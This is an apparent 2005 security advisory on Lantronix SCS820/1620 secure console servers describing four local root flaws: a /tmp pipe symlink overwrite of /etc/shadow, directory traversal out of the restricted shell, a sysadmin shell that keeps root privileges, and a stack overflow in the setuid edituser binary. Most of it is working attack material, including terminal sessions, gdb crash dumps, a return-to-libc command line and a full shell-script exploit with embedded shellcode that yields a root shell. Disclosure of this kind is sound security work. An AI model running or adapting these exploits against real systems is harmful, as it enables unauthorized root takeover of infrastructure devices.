/* ***************************************************************************************************************** $ An open security advisory #11 - Lantronix SCS Local Root Exploits ***************************************************************************************************************** 1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com || c0ntex[@]open-security.org 2: Bug Released: August 05 2005 3: Bug Impact Rate: Hi 4: Bug Scope Rate: Local ***************************************************************************************************************** $ This advisory and/or proof of concept code must not be used for commercial gain. ***************************************************************************************************************** SCS820/1620 - Lantronix Secure Console Server http://www.lantronix.com "The SCS820 and SCS1620 are members of the ActiveLinx family of secure console servers (SCS). With ActiveLinx secure console servers, system administrators can tackle local and remote IT incidents in record time. IT professionals gain key business advantages such as reduced time attending problems and lowered total cost of ownership for equipment and maintenance. Secure console servers provide a significant return on investment with faster problem solving capabilities and higher uptime." Multiple security issues with Lantronix Secure Console Server mean that it is trivial for a user to become root and cause trouble on the system by abusing buffer overflows and insecure file system configurations. 1) Insecure /tmp and pipe permissions. 2) Directory traversal allowing local users unauthorised access to underlying Linux OS. 3) Sysadmin gains local root by abusing the fact that ci does not drop root privileges. 4) All users local root via edituser using return-to-libc and generic stack smash. Lantronix have released a fix for these issues in their latest patch, Firmware v4.4 Example 1: Overwrite root owned files ---------- [c0ntex@SCS1620 /tmp]$ ls -al total 2 drwxrwxrwx 2 root root 1024 Oct 31 00:50 ./ drwxr-xr-x 16 root root 1024 Oct 20 11:38 ../ prw-rw-rw- 1 root root 0 Oct 31 00:14 listen_fifo_server| [c0ntex@SCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig [c0ntex@SCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server Now user waits for system administrator to log in and do some work on the console: sysadmin>listen 01 Please wait for connection.. sysadmin-DEVICE_01>logout [sysadmin@SCS1620 /tmp]$ su - root Password: su: incorrect password # odd...... From another window: [root@SCS1620 /tmp]# head /etc/shadow j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324 bin:*:11529:0:99999:7::: daemon:*:11529:0:99999:7::: adm:*:11529:0:99999:7::: Example 2: Directory traversal to gain access to underlying system ---------- c0ntex>? Commands: alias - List command aliases cat - Print history buffer clear - Clear port buffer connections - show active connections ... c0ntex>/bin/bash /bin/bash: unknown command c0ntex> c0ntex> c0ntex>../../../bin/bash [c0ntex@SCS1620 /var/tmp]$ Example 3: Sysadmin becomes root ---------- sysadmin> sysadmin> sysadmin>bash sysadmin@SCS1620 /var/tmp$ sysadmin@SCS1620 /var/tmp$ sysadmin@SCS1620 /var/tmp$ cat /etc/shadow cat: /etc/shadow: Permission denied sysadmin@SCS1620 /var/tmp$ sysadmin@SCS1620 /var/tmp$ sysadmin@SCS1620 /var/tmp$ exit sysadmin>../../../bin/cat /etc/shadow root:$1$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324 bin:*:11529:0:99999:7::: daemon:*:11529:0:99999:7::: ... sysadmin>../../../bin/vi ~ ~ ~ ~ ~ :!cat /etc/shadow root:$1$kjhsfsdfsdff9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324 bin:*:11529:0:99999:7::: daemon:*:11529:0:99999:7::: ... ~ ~ ~ ~ ~ :q! Run bash from the ci interface as sysadmin and from strace, we get the following: sysadmin>bash ... 14441 [400d8367] getuid() = 500 14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) = 0 and via directory traversal: sysadmin> ../../../bin/bash ... 14392 [400ab367] getuid() = 500 14392 [400ab3c7] getgid() = 100 14392 [400ab397] geteuid() = 0 14392 [400ab3f7] getegid() = 100 ... sysadmin>../../../home/sysadmin/snakeoil 10719 Attached process [10719] OK! ++ Stack regsiters for PID of [10719] ++ Stack Address of %eax = [0xfffffe00] Stack Address of %ecx = [0xbffff100] Stack Address of %edx = [0x00000000] Stack Address of %ebx = [0xffffffff] Stack Address of %esp = [0xbffff0c8] Stack Address of %ebp = [0xbffff0e8] Stack Address of %esi = [0x00000000] Stack Address of %edi = [0xffffffff] Stack Address of %eip = [0x400d79a9] Injecting %eip register with [0xbffff2bb] ++ Stack regsiters for PID of [10719] ++ Stack Address of %eax = [0xfffffe00] Stack Address of %ecx = [0xbffff100] Stack Address of %edx = [0x00000000] Stack Address of %ebx = [0xffffffff] Stack Address of %esp = [0xbffff0c8] Stack Address of %ebp = [0xbffff0e8] Stack Address of %esi = [0x00000000] Stack Address of %edi = [0xffffffff] Stack Address of %eip = [0xbffff2bb] Detached process [10719] OK! bash# Example 4: Become root - Buffer overflow in edituser binary The edituser binary is used to edit a users configuration parameters found in UserName.conf. It lets you set escape sequences, server permissions and other basic user permissions and features of the Secure Console Server. During exploitation, edituser will strip \xff from the input, so you have to use a retaddr that does not have the standard 0xbfff1234 type address. By creating a large pad environment variable before running the test you can nudge your shellcode to a nice location, such as 0xbffe1234, which lets us get round this trivial obstacle. The return-to-libc method also needs the stack nudge since the address for "/bin/sh" is stored in the environment. [sysadmin@SCS1620 /usr/local/bin]$ ls -al edituser -rwsr-xr-x 1 root root 12912 Apr 15 2003 edituser [sysadmin@SCS1620 /usr/local/bin]$ su - c0ntex Password: bash$ cp `which edituser` . && gdb -q ./edituser no debugging symbols found)...gdb> gdb> gdb>r -b `perl -e 'printf "\x41" x 70'` escape sequence is too long. (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. _______________________________________________________________________________ eax:00000000 ebx:00000004 ecx:4001A94B edx:4010B140 eflags:00010246 esi:0804BC0C edi:00000000 esp:BFFEC748 ebp:41414141 eip:41414141 cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t s Z a P c [002B:BFFEC748]---------------------------------------------------------[stack] BFFEC778 : 28 D6 04 08 6C C9 10 40 - 70 A8 00 40 94 F8 FE BF (...l..@p..@.... BFFEC768 : 8C 9B 04 08 01 00 00 00 - 60 BC 04 08 08 BC 04 08 ........`....... BFFEC758 : BC BC 04 08 F0 C7 FE BF - 01 00 00 00 48 F8 FE BF ............H... BFFEC748 : 41 41 41 41 41 41 41 41 - 41 41 00 08 FF FF FF FF AAAAAAAAAA...... [002B:0804BC0C]---------------------------------------------------------[ data] 0804BC0C : 39 BA 01 40 2C BA 01 40 - 1E BA 01 40 10 BA 01 40 9..@,..@...@...@ 0804BC1C : 00 00 00 00 00 00 00 00 - 03 00 00 00 00 00 00 00 ................ [0023:41414141]---------------------------------------------------------[ code] 0x41414141: Error while running hook_stop: Error while running hook_stop: Cannot access memory at address 0x41414141 0x41414141 in ?? () gdb> q //return-to-libc version for non-exec-stack systems [c0ntex@SCS1620 ~]$ id -a uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex) [c0ntex@SCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000'` [c0ntex@SCS1620 /home/c0ntex]$ edituser -e `perl -e 'print "A" x 56'``printf "\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf"` escape sequence is too long. bash: /bin/bash/.bashrc: Not a directory bash# //general stack-smash version for older boxes #!/bin/sh # Lantronix Secure Console Server edituser root exploit by # c0ntex - c0ntexb@gmail.com | c0ntex@open-security.org # Advisory @ http://www.open-security.org/advisories/11 # # The Linux system supplied by Lantronix does not have gnu # C compiler, so the exploit is provided as a shell script # as such, you might need to change the address for # #[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh # # **** *** *** *** *** *** *** *** *** #[-] Local root exploit for edituser using return-to-libc #[-] discovered and written by c0ntex | c0ntexb@gmail.com #Expect a root shell :-) -> escape sequence is too long. #bash# id -a #uid=0(root) gid=0(root) groups=100(users),0(root),200(admin) #bash# # BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!" NOPSLED=`perl -e 'print "\x41" x 1000'` RETADDR=`printf "\x74\xc2\xfe\xbf"` SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"` SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"` STACKPAD=`perl -e 'print "A" x 65000'` VULNAP=/usr/local/bin/edituser VULNOP="-e" export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP printf "\n **** *** *** *** *** *** *** *** ***\n" printf "[-] Local root exploit for edituser\n" printf "[-] discovered and written by c0ntex\n" if [ -f $VULNAPP ] ; then printf "Expect a root shell :-) -> "; sleep 1 $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL success=$? if [ $success -gt 0 ] ; then printf "\nSeems something messed up, changing NOPBUF to 10000 and trying again!\n" sleep 2 unset NOPSLED NOPSLED=`perl -e 'print "\x41" x 10000'` printf "Expect a root shell :-) -> " $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL success=$? if [ $success -gt 0 ] ; then printf "\nAgain it failed, sorry you are on your own now :(\n" fi fi fi EOF